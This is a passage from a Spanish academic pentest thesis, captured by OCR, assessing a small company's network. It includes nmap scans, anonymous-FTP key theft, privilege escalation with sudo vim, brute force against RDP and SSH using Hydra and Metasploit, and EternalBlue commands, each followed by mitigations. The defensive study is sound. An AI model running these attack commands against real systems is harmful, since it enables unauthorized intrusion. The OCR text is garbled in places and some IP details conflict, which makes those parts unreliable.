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Figura 9. Especificacion técnica del equipo técnico para aplicar el anélisis de vulnerabilidades

Nota: Elaboracion propia

Adicional a ello, se selecciona la siguiente herramienta tipo open source, donde se configuré la
méaquina virtual (VirtualBox en su Gltima version) con el sistema Kali Linux, descargado de la
pagina oficial para ejecutar cada una de las fases que Pentesting propone, se configurd la maquina
virtual con 8GB de memoria RAM y Unidad de almacenamiento de 60 GB y una tarjeta de red

modo NAT para acceder a internet.

New  Add Settings
= General

MName: KALI
Operating System: Debian (64-bit)

. 4096 MB
2
Floppy, Optical, Hard Disk
Mested Paging, KVM Paravirtualization

16 MB

ary Device 0: [Optical Drive] Empty
KALI_.vdi (Normal, 60.00 GB)

rer: Default
ICH AC97

¥ MNetwork

# use

USB Controller: OHCI, EHCI

Figura 10. Descripcion técnica del ambiente virtual con Kali Linux

Nota: Elaboracion propia

Una vez instalado el sistema operativo se procede a iniciar y a realizar un Update, a

continuacion, se presenta el siguiente Dashboard principal de Kali Linux.
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File Machine Help
- | KALI [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

S mm PO 2 3 4 O P v A Gwos3| @ G

D, g KALI
, =% Running

File System /

n

Figura 11. Maquina Virtual Kali Linux
Nota: Elaboracion propia

4.3.1.1 Identificacion y clasificacion de vulnerabilidades

Se inicid la aplicacion de la metodologia Pentesting con la actualizacion de Kali Linux
con el usuario root “apt update” o con usuario local con los comandos de sudo apt
Update, ver figura 12 apt dist-upgrade, ver figura 13.

4.3.1.2 Actualizacion en proceso UPDATE

root@kali: ~

File Actions Edit View Help

/debian stretch InRelease

aws.com buster InRel [

cali-rolling InRelease [41.5 kB]
i kali-rolling in amd64 Packages [Z
i kali-rolli ain amd64 Contents (deb) [48.7 MB]
i kali-rolli ontrib amdé4 Packag [11@ kB]
i ka rolli ontrib amd64 Cont (deb) 3
i kali-rolli on-free amd64 Packages [195 kB]

Figura 12. Actualizacién de repositorios de Kali Linux

Nota: Elaboracion propia

Posteriormente, se procede a actualizar el software Kali Linux, ver figura 6.
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~

s were automatically installed and are no longer required:
i 0 libpoppleri34

libpythc 11-dev

Libpythe 11-minimal

Libpythe 11-stdlib libqgt

4]

Libpythe 11t64 libra
libgt6édbu 64 thL
: ypt-4

libluas |
libnghttp ibg nglwidg 6 libwiretapl4t6s
libplist3 libgtéprintsupport libwsutil15t64

Figura 13. Upgrade del Sistema Operativo.

Nota: Elaboracion propia

Se realiz6 un reconocimiento de la red de laempresa MASTERNET, la misma presentaba
una topologia tipo arbol®, ver Figura 14, contaba con aproximadamente 15 equipos
divididos entre las 2 sucursales y los trabajadores que se conectan remotamente, los cuales
poseian diferentes sistemas operativos y estaban configurados segun los servicios que

prestaban.

201.220.200.024 (|

INTERNET B PT-VENTAS3 D

=e%=  INTERNET [otno) o -
@ B PT-COBROS3
e Net 192.168.98.0/24

SENE R
+8d¢ o =

Net
WWRT300N-ROUTER2 M PT-SERVICIOS_TECNICOS2

S O
=) = -

— [:] B PT-COBROS2 W FTMARKETIG
W PT-VENTAS2 -
N PT-CONTABILIDAD

a )

B PT-COBROS W FT-SERVICIOS_TECNICOS

D_ @ e 192.168.99.024

B PT-VENTAST

INTERNET .

Net

Figura 14. Topologia de Red Inicial

Nota: Elaboracion propia

4.4  Fase escaneo
Para la fase de busqueda y reconocimiento de equipos y vulnerabilidades se us6 NMAP

como herramienta primaria NMAP.

5 La topologia de arbol es la combinacion de la topologia de bus y la topologia en estrella. Esta combinacién permite a
los usuarios tener varios servidores en la red. Conecta multiples topologias en estrella a otra red de topologia en estrella.
Se conoce también como topologia de estrella expandida o topologia jerarquica.
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Entonces, se realizd un primer escaneo con esta herramienta para poder conocer aquellos

puertos en abiertos y servicios que se encuentran disponibles. En tal sentido es importante

mencionar que Nmap usa el protocolo TCP/UDP y para descubrir equipos dentro del

mismo segmento de red. TCP se encuentra basado en una conexion y garantiza la

conectividad de punto a otro punto. Por medio de la salida de tres vias SYN (saludo),

SYN (saludo de retorno) + ACK (confirmacion de recepcion), ACK (confirmacién) y

finaliza la comunicacion con FIN ACK en el origen y FIN ACK en el destino.

El protocolo UDP no establece una conexion entre el cliente y servidor simplemente envia

los paquetes de datos a su destino.

Después del escaneo se encontraron los siguientes puertos abiertos, el resultado del

escaneo de las dos sucursales se obtuvo la siguiente tabla 8:

Tabla 8.

Escaneo de dos sucursales

PUERTO ESTADO SERVICIO | VERSION IDENTIFICACION
21/TCP Abierto FTP vsftpd 3.0.3
22/TCP Abierto SSH OpenSSH 7.2p2 Ubuntu
445/TCP Abierto HTTP Microsoft Windows 7 - 10
microsoft-ds (workgroup:
WORKGROUP)
3389/TCP Abierto ms-wht- Microsoft Terminal Services
server
1433/TCP Abierto Mysql Microsoft SQL Server 2016
139/TCP Abierto netbios-ssn | Microsoft Windows netbios-ssn
49152/TCP Abierto Msrpc Microsoft Windows RPC
135/TCP Abierto Msrpc Microsoft Windows RPC
49153/TCP Abserto Msrpe Microsoft Windows RPC
49154/TCP Abierto Msrpc Microsoft Windows RPC
49155/TCP Abierto Msrpc Microsoft Windows RPC
49163/TCP Abierto Msrpe Microsoft Windows RPC
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445/TCP Abierto microsoft- | Microsoft Windows 7 - 10
ds microsoft-ds (workgroup:

WORKGROUP)

80/TCP Abierto http Microsoft IIS httpd 10.0

49152/TCP Abierto Upnp Portable SDK for UPnP devices
1.4.7 (Windows 6.2.9200 2; UPnP
1.0)

5357/TCP Abierto http Microsoft HTTPAPI httpd 2.0
(SSDP/UPnP)

Nota: Elaboracion propia

De acuerdo con la tabla de puertos abiertos mencionada en la tabla anterior se presenta

de una manera gréafica la ejecucion de la sintaxis de nmap se obtiene lo siguiente:

sucursal 1

nmap -Pn -sS - nmap -Pn -sS -
sV -p- --open sV -p- --open
192.168.98.0/24 192.168.99.0/24

C |esinans

Figura 15. Comando de escaneo para las dos redes de MASTERNET

Nota: Elaboracion propia

Como resultado del escaneo se posee las siguientes graficas del proceso de escaneo real,

sin embargo, solo se presentan dichas ilustraciones de ciertas ips, tales como:

Detalle técnico del escaneo con nmap segun comando:

Nmap scan report for 192.168.98.3
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Starting Nmap 7.92 ( https://nmap.org ) at 2024-09-@5 15:@2 EST
Nmap scan report for MARKETING
Host is up (@.0@s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

135/tcp open epmap Sun RPC map (RPCMAP)
139/tcp open netbios-ssn Microsoft SMB 3.1.1-SMB2
445/tcp open smb Microsoft SMB 3.1.1-SMB2
1024/tcp open ms-sqgl-s Microsoft SQL Server 2016
3389/tcp open ms-rdp Microsoft Terminal Services
3476/tcp open unknown

0S detection performed. Please try enabling 0S5 detection for
getting more accurate results.

Host script results:

| _smb-os: Windows 2016 (build 14393)
| smb-server-name: MARKETING

| _smb-domain: WORKGROUP

Nmap done: 1 IP address (1 host up) scanned in @.32 seconds

Figura 16. Escaneo con NMAP Puertos y servicios abiertos

Nota: Elaboracion propia

Detalle técnico del escaneo con nmap segin comando:

Nmap scan report for 192.168.98.4

Starting Nmap 7.945VN ( https://nmap.org ) at 2024-10-01 16:36 -85
Nmap scan report for 192.168.98.4

Host is up (@.000165 latency)

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open fitp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 23

| -rw-r—1r— 10 (5] 1675 Jan @8 1 id rsa

| —-rw-r—r— 19 (5] 159 Jan 1@ 1 notas.txt

Figura 17. Escaneo con NMAP FTP abierto

Nota: Elaboracion propia

Detalle técnico del escaneo con nmap segin comando:
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Nmap scan report for 192.168.98.11

Starting Nmap 7.92 ( https://nmap.org ) at 2024-09-05 15:02 EST
Nmap scan report for ARTURO
Host is up (@.@0s latency).

Not shown: 992 closed ports

PORT STATE SERVICE VERSION

135/tcp open epmap Sun RPC map (RPCMAP)
139/tcp open netbios-ssn Microsoft SMB 3.1.1-SMB2
445/tcp open smb Microsoft SMB 3.1.1-SMB2
49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49163/tcp open unknown

0S detection performed. Please try enabling 0S detection for
getting more accurate results.

Host script results:

| _smb-os: Windows 1@ (build 1836
| smb-server-name: ARTURO

| _smb-domain: WORKGROUP

Nmap done: 1 IP address (1 host up) scanned in ©.35 seconds

Figura 18. Escaneo con NMAP Puertos abiertos
Fuente: elaboracion propia

Detalle técnico del escaneo con nmap segin comando:

Nmap scan report for 192.168.98.7
nmap.org ) at 2024-10-02 11:29 -85

rts t), 7787 filtered tcp ports (no
ted as filtered due to --defeat-rst-r
VERSION

Micr ft IIS httpd 10.0

Windows RPC

Windows netb

Win er 20e 2 2012 microsoft-ds (workgroup: WORKGROUP)
Terminal

Windo RPC

HTTPAPI httpd 2.0 S /UPNP)

HTTPAPI httpd 2.0 (SSDP/UPNP)

RPC

RPC

RPC

RPC

RPC

RPC

RPC

RPC

it
ft
ft
ft
ft
ft
ft
ft
ft
ft
ft
ft
ft
ft
ft
ft
ft

Figura 19. Escaneo con NMAP Puertos abiertos

Nota: Elaboracion propia
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Detalle técnico del escaneo con nmap segin comando:

Nmap scan report for 192.168.99.10

PORT

STATE
22/tcp open
MAC Address
Service Inf

SERVICE VERS

ssh

o:linux:linux_kernel

rtual NIC)

7.2p2 Ubuntu 4ubuntu2.1@ (Ubuntu Linux; protocol 2.0)
( cle VirtualBo

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ©.52 seconds

Figura 20. Escaneo con NMAP Servicio SSH descubierto

Nota: Elaboracion propia

Una vez efectuado el proceso de escaneo se procede a detallar en la siguiente tabla 9

aquellos puertos que se encuentran abiertos, su posterior descripcion, impacto y la posible

solucién que se puede implementar ante estas falencias.

Tabla 9.
Puertos que se encuentran abiertos

PUERTO DESCRIPCION IMPACTO SOLUCION

21 Puerto 21 abierto login | Critica Deshabilitar servicio,
Anonymous por defecto. deshabilitar usuario anénimo.

22 Puerto 22 abierto es | Medio Autenticacion con clave SSH,
posiblemente susceptible cambio de puerto por defecto,
a ataques de fuerza bruta. Fail2Ban bloguea direcciones

IP después de mdltiples intentos
fallidos

445 Ejecucion remota de | Critica Aplicar parches de seguridad
cédigo via puerto 445 (MS17-010), upgrade de
(MS17-010) Sistema Operativo, deshabilitar

SMBUV1 en toda la red.

3389 Fuerza bruta de | Alta Uso de MFA, limitar acceso a
credenciales para acceder RDP, Para limitar el acceso
al puerto 3389 ciertos usuarios 0 Qrupos,

asignar permisos de acceso a
Usuarios 0 Grupos.
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ESCALAD | Explotacién de permisos | Alta Restringir permisos, aplicar

A DE | para obtener control total. actualizaciones, revisar

PRIVILE configuraciones de

GIOS Servicios.

49152,4915 | Varios Bajo Configurar cortafuegos para

4,49163, restringir exposicion
monitorear el trafico,
deshabilitar los servicios de no
ser usados.

Nota: Elaboracion propia
4.5 Explotacion de vulnerabilidades
Para la validacion de la metodologia propuesta se simularon algunos ataques, utilizacion
procedimientos pentesting, en los cuales se recrearon el acceso a la arquitectura bajo estudio, en
el laboratorio construido. En las fases anteriores, se aplicd la instalacion y actualizacion de Nmap,
por lo tanto, se procedié a determinar los tipos de ataque a simular, de tal forma que nos

proporcionan informacion de interés.

Ataques de fuerza bruta, exploits, siendo estos los que se efectlan con mayor frecuencia. A
continuacion, se describe como se logré simular cada uno de estos eventos, mostrando las

evidencias.

4.5.1 Simulacion de Ataque I- FTP y escalacion de privilegios.

En el escaneo previo de detecto que hay un servicio FTP funcionando como se evidencia en la

siguiente imagen:

Ho is up latency
Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3

| ftp-anon: Anonymous FTP lo

| -Tw-r-—-1-- 1@ l 1675 Jan 7 id_rsa

| —rw-r—1r— 10 ’ 159 Jan 10 notas.txt

Figura 21. Escaneo con NMAP FTP abierto (usuario Anonymous habilitado)

Nota: Elaboracion propia

En este sentido se debe de conectar al equipo via ftp con el usuario Anonymous y password
Anonymous y se puede evidenciar que existen 2 archivos y procedemos a descargarlos para ver

su contenido.
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y UNTX.
binary mode to transfer files.

e Mode (]]]92
y listing.

e e s e e o e e ook e

e Mode (]]]3
ctic
e

Figura 22. Loggin al servidor FTP

Nota: Elaboracion propia

Al leer el archivo de nombre notas.txt da indicaciones de usar la clave privada “id_rsa” para

conectarse al servidor con el usuario “viu”.

notas.txt
Buenas tardes equipo de desarrollo,

En este servidor de FTP, podeis encontrar la clave privada necesaria para poder acceder al servidor con el usuario "
viu".

Saludos.

Figura 23. Nota encontrada en el servidor FTP

Nota: Elaboracion propia

Posteriormente se procede a establecer conexion con el servidor usando la clave privada.

1 "1 viugl192.168.98.4
Welcome to Ubuntu 16.@4 LTS (GNU/Linux &4.4.0-21-generic x86 64)

* Documentation: https://help.ubuntu.com/

Pueden actualizar 76 iquete

-

5
ridad.

516 actualizacione ) 2 segu

Esta disponible la nueva version «18.04.6 LTS».
Ejecute «do-release-upgrade» para actualizarse a ella.

Last login: Wed Oct 2 21:46:21 2024 from 192.168.98.5
viugserverweb:~$ JJ

Figura 24. Login con clave privada servidor FTP

Nota: Elaboracion propia

Se puede observar que ya ha permitido autenticarse al servidor con el usuario viu, posteriormente

se verifica los privilegios del usuario y confirmamos que es un usuario normal del sistema.
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viugserverweb:~$ cat /etc/passwd | grep viu

:%:1000:1000:VIU,,, :/home/ :/bin/bash

Figura 25. Verificacion de usuario del sistema

Nota: Elaboracién propia

Ahora bien, se procede a revisar si es que hay comandos que se ejecutan con el comando sudo y

sin password para ello se debe de ejecutar la siguiente sintaxis:

sudo -l

viugserverweb:~$ sudo -1
sudo: imposible resolver el anfitrion serverweb
Coincidiendo entradas por defecto para viu en serverweb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sb

siguientes comandos en serverweb:

viugserverweb:~5 ||

Figura 26. Lista de comandos que usuario puede ejecutar.

Nota: Elaboracion propia
Con se puede evidenciar el comando vim puede ejecutarse con privilegios de root sin password.

En vista de tal debilidad se aprovecha de eesta mala practica para realizar una escala de privilegios
y obtener una Shell de root, se ejecuta:

sudo vim -c *:1/bin/bash’

Y como se muestra en la imagen anterior ya somos root, se ha conseguido el maximo privilegio

en el equipo.

ro

rootgserverweb:~# cd /

Figura 27. Se ejecuta el comando VIM con sudo agregando una salida bash

Nota: Elaboracion propia

Andlisis técnico:

El puerto FTP (21) es un puerto inseguro poco usado, pero aun existente en la actualidad
y muy usado dentro de ambientes internos, este servicio permite subir y descargar

informacion de forma remota.
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Prevencion y Mitigacion:

e Cambiar el uso de FTP por SFTP que usa que cifra las transferencias de
informacion.

o Deshabilitar el usuario anonymous que viene por defecto.

o Utilizar contrasefias fuertes: generar contrasefias seguras y Unicas para cada
cuenta.

o Habilitar la autenticacion de dos factores: agregar una capa adicional de
seguridad.

o Implementar un firewall: Bloquear el acceso al puerto 21 desde la red interna o

Internet y solo permitir conexiones desde IPs o rangos de red conocidas.

4.5.2 Simulacion de Ataque I1- Fuerza Bruta RDP

A través del escaneo previo, se encuentra un nimero de pcs vulnerables a ciertos ataques
informaticos. Haciendo uso del sistema operativo Kali se demostrara (solo para uso ético

y estudiantil) lo enunciado anteriormente.

Para este ataque de fuerza bruta se usé la herramienta HYDRA, se usO el usuario
administrator por defecto en todos los sistemas operativos Windows y un archivo con una
lista password conocidos que la herramienta Kali Linux ya nos la proporciona y o
podemos descargarlo desde fuentes abiertos como SECLIST, como se puede observar en

la siguiente imagen el ataque fue exitoso.

-1 administrator -P password 192. 7 rdp
( E: ejak - Please do not use in military ecret service organizati

ons and -W 1 or -W 3 fc

[INFO] Reduced number o

[WARNING] the rdp module ental. 5 ) al if i Fix.

[DATA] max & r'y OVETa 1sks, 15 log :15), ~4 tries per task
[NATA] attack A /

'3389][rdp] h g1 dministrator password: Password2024

1 of 1 target successfully completed, 1 valid rd found

Hydra (http github.com/vanhauser-thc/thc-hy finished at 2824-10-02 11:39:51

Figura 28. Ataque con fuerza bruta RDP

Nota: Elaboracion propia
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Remote Desktop
(¢ Connection

% Remote Desktop Connection X pdministrator
| B The identity of the 5 - be verified. Do [ hen you connect
you want to connect anyway?

The remote computer could not be authenticated due to problems with its
securty certficate. k may be unsafe to proceed

Name mismatch
M Requested remote computer.
192.168.98.7

5] Name inthe certficate from the remote computer:
DCot

Figura 29. Login usando Remote Desktop de Windows
Nota: Elaboracién propia

B 192.168.98.7 - Remote Desktop Connection

ect Administrator: Command Prompt

Figura 30. Login exitoso ejecucion de mando ip config.

Nota: Elaboracion propia
Andlisis técnico:
El puerto 3389 es el puerto predeterminado utilizado por el Protocolo de Escritorio
Remoto (RDP) de Microsoft. Este protocolo permite a los usuarios conectarse a un
ordenador de forma remota y controlarlo como si estuvieran sentados frente a él. Los

atacantes a menudo explotan este servicio mal configurado y algunas vulnerabilidades

gue puedan asociarse en este servicio para obtener acceso no autorizado a sistemas.
Prevencion y Mitigacion:

o Mantener el sistema actualizado: Instalar los parches de seguridad mas recientes.
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o Cambiar el puerto por defecto: Configurar el puerto RDP a un nimero no estandar.

o Deshabilitar el usuario administrator que viene por defecto.

o Utilizar contrasefias fuertes: generar contrasefias seguras y Unicas para cada
cuenta.

o Habilitar la autenticacion de dos factores: agregar una capa adicional de
seguridad.

o Implementar un firewall: Bloquear el acceso al puerto 3389 desde Internet.

o Utilizar una VPN: Si es necesario el acceso remoto, utilizar una VPN para cifrar

la conexioén.

4.5.3 Explotacion del Puerto 445 (SMB Exploit)

El puerto 445 es usado por el protocolo SMB en Windows para compartir archivos,
impresoras y otros recursos en red. Una vulnerabilidad muy conocida es EternalBlue,
que afecta a este puerto y permite ejecutar codigo remoto en maquinas Windows no

parcheadas.

Figura 31. Atague con exploit (MS17-010) EternalBlue con Armitage

Nota: Elaboracion propia
4.5.3.1 Pasos para explotar el puerto 445 usando EternalBlue
1. Escaneo del puerto: Utiliza herramientas como Nmap para verificar si el puerto

445 est abierto.
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nmap -p 445 192.168.98.10

p 445 192.168.98.10
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan repo for 192.168.98.10

Host is up ( s latency).

PORT STATE SERVICE
445/tcp open mic Ft-ds
MAC Add 08:00 :31:63:57 (Oracle VirtualBox virtual NIC)

Figura 32. Escaneo nmap al puerto 445

Nota: Elaboracion propia

2. ldentificacion de la vulnerabilidad: Si el puerto esta abierto, busca si el sistema

esta vulnerable a EternalBlue.

nmap --script smb-vuln-msl17-010 192.168.98.10

2 12:50 -@5

7 (Oracle VvirtualBox virtual NIC)

T SMBv1l se s (ms17-010)

SMBv1

nce-for-wannacrypt-attacks

Figura 33. Escaneo nmap al puerto con script para verificar si es vulnerable a ms17-010

Nota: Elaboracidn propia

3. Explotacién: Usar Metasploit para lanzar el exploit.
use exploit/windows/smb/msl7 010 eternalblue

set RHOST 192.168.98.10
exploit
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exp ¢ ) opti

Module options (exploit/wi 17_e1@_eternalblue

Name Current Setting Required Description
RHOSTS +1: e e https:// s.metasploit.comy
i i asploit.html
RPORT
SMBDomain 0 i ain to u ithenticati
Windows 7, Wind Embedded
SMBPa ) e r the speci d username
SMBUser 0 al) The username to authenticate as
VERIFY_ARCH true eck f te architecture matches
8 R2, Windows 7,
machine

VERIFY_TARGET true Check if remote matches loit Targ

R2, windows 7, Windows Embedded Standard 7 tar

id opti ( ws /. eterpreter

Name Current Required Description

EXITFUNC h Exit technique (Accepted: '', seh, thread, process, none)

L T S E a (an interface may be specified
LPORT The listen p

Figura 34. Configurando metasploit para lanzar el ataque

Nota: Elaboracion propia

s check
erver (R) 2@ Standard

complete)

tation.
loitation.
valid f indicated by SMB reply
buffer dump (52
2=x20000000 57 e 64 6f
1@ 52
Ox00000020 20

Figura 35. Ejecucion de ataque Eternalblue (MS17-010)

Nota: Elaboracion propia

4-10-02 1.

016 created.

Figura 36. Exploit ejecutado correctamente con sesion meterpreter

Nota: Elaboracion propia

indows

thernet adapter Local Area

n-specific DN
Link-local IPvé Address
IPv4 Add

Figura 37. Ejecucién de comando ip config en servidor vulnerado.

Nota: Elaboracion propia
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45.4

Obtener acceso: Se ejecuta el exploit correctamente y si tiene un Shell
meterpreter y luego podemos cambiar a Shell de Windows y probar algunos

comandos.

Andlisis técnico:

Deshabilitar SMBv1: La forma mas efectiva de protegerse contra EternalBlue es
deshabilitar completamente SMBVL1. Este protocolo antiguo es vulnerable y ya no
es importante para la mayoria de las redes modernas.

Mantener los sistemas actualizados: es importante que todos los sistemas
Windows estén actualizados con los Gltimos parches de seguridad. Puesto que,
Microsoft ha lanzado parches para corregir esta vulnerabilidad y usar las ultimas
de Windows server y Windows.

Usar firewalls: configura firewalls para bloquear el trafico SMBvV1 entrante y
saliente.

Segmentar la red: dividir la red en diferentes segmentos para limitar el impacto
de una posible infeccién.

Implementar soluciones de seguridad: usar soluciones de seguridad como
antivirus, antimalware y sistemas de deteccion de intrusiones para detectar y

bloquear ataques.

Simulacion de Ataque 11- Fuerza Bruta SSH

A través del escaneo la ip 192.168.99.10 se detectdé que el puerto SSH se encuentra

abierto, lo que hay una posibilidad de que sea susceptible a ataques de fuerza bruta si el

servicio esta mal configurado.

192.168.99.10 1

Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-24 05:52 CEST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 192.168.1.55

Host is up (0.00016s latency)

Not shown: 997 closed ports

PORT

STATE SERVICE

22/tcp open ssh

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:72:CE:1B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in @.43 seconds
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Figura 38. Escaneo de puerto con NMAP puerto 22 abierto

Nota: Elaboracion propia

Se configura metasploit indicando la IP de la victima y agregando una lista de usuario y

otra de passwords para que la herramienta realice el ataque de fuerza bruta.

msf6 > use auxiliary/scanner/ssh/ssh_login

msf6 auxiliary( ) > set rhosts 192.168.99.10

rhosts = 192.168.1.55

msf6 auxiliary( ) > set VERBOSE true

VERBOSE = true

msf6 auxiliary( ) > set USER_FILE Escritorio/usuarios
USER_FILE = Escritorio/usuarios

msf6 auxiliary( ) > set PASS_FILE Escritorio/password
PASS_FILE = Escritorio/password

msf6 auxiliary( ) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS = true

msf6 auxiliary( ) > run

192.168.99.10:22 - Starting bruteforce

Figura 39. Usando metasploit configuramos para realizar el ataque.

Nota: Elaboracién propia

Como se visualiza el ataque fue exitoso y se puedo acceder al equipo con el ataque de

fuerza bruta via SSH.

+]  192.168.99.10:22 - Success: 'administrador:123' 'uid=1000(administrador) gid=1000(administrador) groups=1000(administ
hdor) , 4(adm), 24(cdrom),27(sudo),30(dip),46(plugdev),110(1xd),113(sambashare),119(1padmin) Linux proxySRV &.4.0-21-generid
#37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 1686 1686 1686 GNU/Linux '

Command shell session 1 opened (192.168.99253:46319 — 192.168.99.10:22 ) at 2024-09-24 05:59:13 +0200

Scanned 1 of 1 hosts (100% complete

Auxiliary module execution completed Vulnerabilidad explotada

sistema comprometido

msf6 auxiliary( ) > sessions -1 1
Starting interaction with 1...

uname -a

Linux proxySRV 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 1686 1686 1686 GNU/Linux
pwd

/home/administrador

Figura 40. Ataque exitoso de pudo encontrar un usuario valido y password para el servidor.

Nota: Elaboracion propia

El puerto 22 es el puerto predeterminado usado por el Protocolo SSH de Linux. Este
protocolo permite a los usuarios conectarse a un ordenador de forma remota por medio
de una Shell, Los atacantes a menudo explotan vulnerabilidades en este servicio para

obtener acceso no autorizado a sistemas.

58



Prevencion y Mitigacion:

o Mantener el sistema actualizado: Instalar los parches de seguridad mas recientes.

o Cambiar el puerto por defecto: Configurar el puerto SSH a un nimero no estandar.

« Ultilizar contrasefias fuertes: generar contrasefias seguras y Unicas para cada
cuenta.

« Habilitar la autenticacion de dos factores: crear una capa adicional de seguridad.

o Implementar un firewall: Bloquear el acceso al puerto 22 desde Internet.

o Deshabilitar el usuario root por defecto.

« Crear una politica de bloqueo por intentos fallidos.

o Implementar fail2ban en el servidor para bloquear las IPs desde donde puedan

provenir los ataques.

4.6 Evaluacion de vulnerabilidades y analisis de riesgos

En este apartado se procede a evaluar cada vulnerabilidad encontrada, desde las
configuraciones inseguras hasta los posibles riesgos mas minimos que se deben de
subsanar, posteriormente, examinar el nivel de riesgo proporcionando una vision
detallada de las amenazadas potenciales, evaluando su impacto y proponiendo medidas
correctivas para fortalecer la seguridad y salvaguardar la integridad de toda la

informacion que maneja MASTERNET.

Leyenda de la clasificacion de las vulnerabilidades encontradas:

Tabla 10.

Leyenda de Clasificacion de Vulnerabilidades de Acuerdo a Nivel de Gravedad.

DESCRIPCION CALIFICACION | COLOR
Baja

VULNERABILIDAD DEBIL O

MUY COMPLEJA DE

APROVECHAR

CAUSA UN IMPACTO MINIMO.

Media
VULNERABILIDAD MODERADA
QUE COMPROMETE
MODERADAMENTE UNO O MAS
PRINCIPIOS DE SEGURIDAD.
CAUSA UNIMPACTO MENOR.
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CIA.

VULNERABILIDADES MAS
PELIGROSAS. AFECTA A UN
NIVEL ALTO LOS PRINCIPIOS

CAUSA UN IMPACTO MODERNO.

Alta

FALLO DE SEGURIDAD CRITICO.
COMPROMETE GRAVEMENTE
LOS PRINCIPIOS CIA.

CAUSA UN GRAVE IMPACTO.

Critica

Nota: Tomado de (Gaviria et al., 2015)

A continuacion, se procede a detallar cada una de las vulnerabilidades encontradas, de los

cuales son:

Sistema Operativo:

Linux Kernel 4.4 on Ubuntu 16.04 (xenial)

IP 192.168.98.4

Tabla 11.

Anadlisis de vulnerabilidades FTP

VULNERABILIDAD

CREDENCIALES
POR DEFECTO

RIESGO

FACTIBILIDAD DE Media
REMEDIACION
ACTIVOS 192.168.98.4 CVSS 9.0
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION El equipo se encuentra corriendo un servicio FTP con usuario
Anonymous por defecto
IMPACTO Afecta a la integridad y disponibilidad de la data

RECOMENDACION

Actualizar a una version SFTP, eliminar el servicio, crear usuarios

personalizados y desactivar el usuario anonymous por defecto.

REFERENCIA

https://nvd.nist.gov/vuln/detail/CVE-1999-0497

Nota: Elaboracion propia
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Sistema Operativo: Microsoft Windows Server 2008 Standard Service Pack 1

IP 192.168.98.10

Tabla 12.

Anadlisis vulnerabilidad Eternalblue

VULNERABILIDAD MS17-010 RIESGO -
(ETERNALBLUE)
FACTIBILIDAD DE Media
REMEDIACION
ACTIVOS 192.168.98.10 CVSS 8.8
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION

- Existen multiples vulnerabilidades de ejecucion remota de codigo en
Microsoft Server Message Block 1.0 (SMBvl) debido a un manejo
incorrecto de ciertas solicitudes. Un atacante remoto no autenticado
puede explotar estas vulnerabilidades, a través de un paquete
especialmente disefiado, para ejecutar cdédigo arbitrario. (CVE-2017-
0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-
0148) - Existe una vulnerabilidad de divulgacion de informacién en
Microsoft Server Message Block 1.0 (SMBv1) debido h un manejo
incorrecto de ciertas solicitudes. Un atacante remoto no autenticado
puede explotar esto, a través de un paquete especialmente disefiado, para

revelar informaci6n confidencial. (CVE-2017-0147)

IMPACTO

Afecta a la integridad y disponibilidad de la data
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RECOMENDACION

Microsoft ha lanzado un conjunto de parches para Windows Vista, 2008,
7.2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10 y 2016. Microsoft también ha
lanzado parches de emergencia para los sistemas operativos Windows que
va no son compatibles, incluidos Windows XP, 2003 y 8. En el caso de
los sistemas operativos Windows no compatibles, por ejemplo, Windows
XP. Microsoft recomienda que los usuarios dejen de usar SMBwv1. SMBv1
carece de las caracteristicas de seguridad que se incluyeron en versiones
posteriores de SMB. SMBvl se puede deshabilitar siguiendo las
mstrucciones del proveedor proporcionadas en Microsoft KB2696547.
Ademas, US-CERT recomienda que los usuarios bloqueen SMB
directamente bloqueando el puerto TCP 445 en todos los dispositivos de
limite de red. Para SMB a través de la API de NetBIOS, bloquee los
puertos TCP 137 / 139 y los puertos UDP 137 / 138 en todos los

dispositivos de limite de red.

REFERENCIA

http://www.nessus.org/u?68fc8eff

http://www.nessus.org/u?321523eb

http://www.nessus.org/u?065561d0

http://www.nessus.org/u?d9f569cf

https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-
smbl/

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://swww.nessus.org/u?234{8ef8

http://www.nessus.org/u?4c7e0cf3

https://github.com/stamparm/EternalRocks/

http://www.nessus.org/u?59db5bsb

Nota: Elaboracion propia
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Tabla 13.

Anadlisis de vulnerabilidades Microsoft WDAC OLE

VULNERABILIDAD

MICROSOFT WDAC
OLE DB PROVIDER

RIESGO

FACTIBILIDAD DE Alta
FOR SQL SERVER
REMEDIACION
REMOTE CODE
EXECUTION
VULNERABILITY
ACTIVOS 192.168.98.7 CVSS 8.8
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION Microsoft WDAC OLE DB provider for SQL Server Remote Code
Execution Vulnerability
IMPACTO Afecta a la integridad y disponibilidad de la data

RECOMENDACION

Actualizar con la versién acumulativa de noviembre del 2023

REFERENCIA

e https://msrc.microsoft.com/update-guide/en-

US/advisory/CVE-2023-29372

Sistema Operativo: Microsoft Windows 10 pro 64 bits. Compilacion 19041

IP 192.168.98.11

Tabla 14.

